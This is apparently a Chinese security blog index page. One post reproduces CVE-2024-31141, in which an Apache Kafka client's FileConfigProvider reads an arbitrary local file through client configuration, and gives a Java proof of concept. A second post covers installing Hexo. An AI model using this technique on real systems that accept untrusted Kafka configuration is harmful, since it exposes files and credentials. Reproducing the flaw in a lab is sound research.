no hack no fun...

CVE-2024-31141: Apache Kafka Clients: Privilege escalation to filesystem read-access via automatic ConfigProvider

漏洞简介

Apache Kafka 客户端接受配置数据以自定义行为,并包含 ConfigProvider 插件以操作这些配置。 Apache Kafka 还提供 FileConfigProvider、DirectoryConfigProvider 和 EnvVarConfigProvider 实现,其中包括从磁盘或环境变量读取的功能。在 Apache Kafka 客户端配置可以由不受信任方指定的应用程序中,攻击者可以使用这些 ConfigProvider 读取磁盘和环境变量的任意内容。

此问题影响 Apache Kafka 客户端:从 2.3.0 到 3.5.2、3.6.2、3.7.0。

漏洞复现

根目录下创建1.properties文件

然后配置客户端连接的配置项,在真实场景下存在于kafka客户端可控自定义配置的场景

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
package org.example;

import org.apache.kafka.clients.producer.KafkaProducer;
import org.apache.kafka.clients.producer.Producer;
import org.apache.kafka.common.config.provider.FileConfigProvider;

import java.util.Properties;

public class Test {
public static void main(String[] args) {
Properties providers = new Properties();
providers.put("bootstrap.servers", "localhost:9092");
providers.put("key.serializer","org.apache.kafka.common.serialization.StringSerializer");
providers.put("value.serializer","org.apache.kafka.common.serialization.StringSerializer");
providers.put("config.providers", "x");
providers.put("config.providers.x.class", FileConfigProvider.class.getName());
providers.put("test", "${x:/1.properties:password}");
Producer<String, String> producer = new KafkaProducer<>(providers);
producer.initTransactions();
}
}

Read More
post @ 2024-11-21

环境准备

安装Git

Git

安装nodejs

可以直接上https://nodejs.org/zh-cn/download/prebuilt-installer

有多版本需求的也可以用nvm管理多个版本的nodejs

nvm管理多版本nodejs环境

安装hexo

1
npm install hexo-cli -g

安装好后执行hexo -version

Read More
⬆︎TOP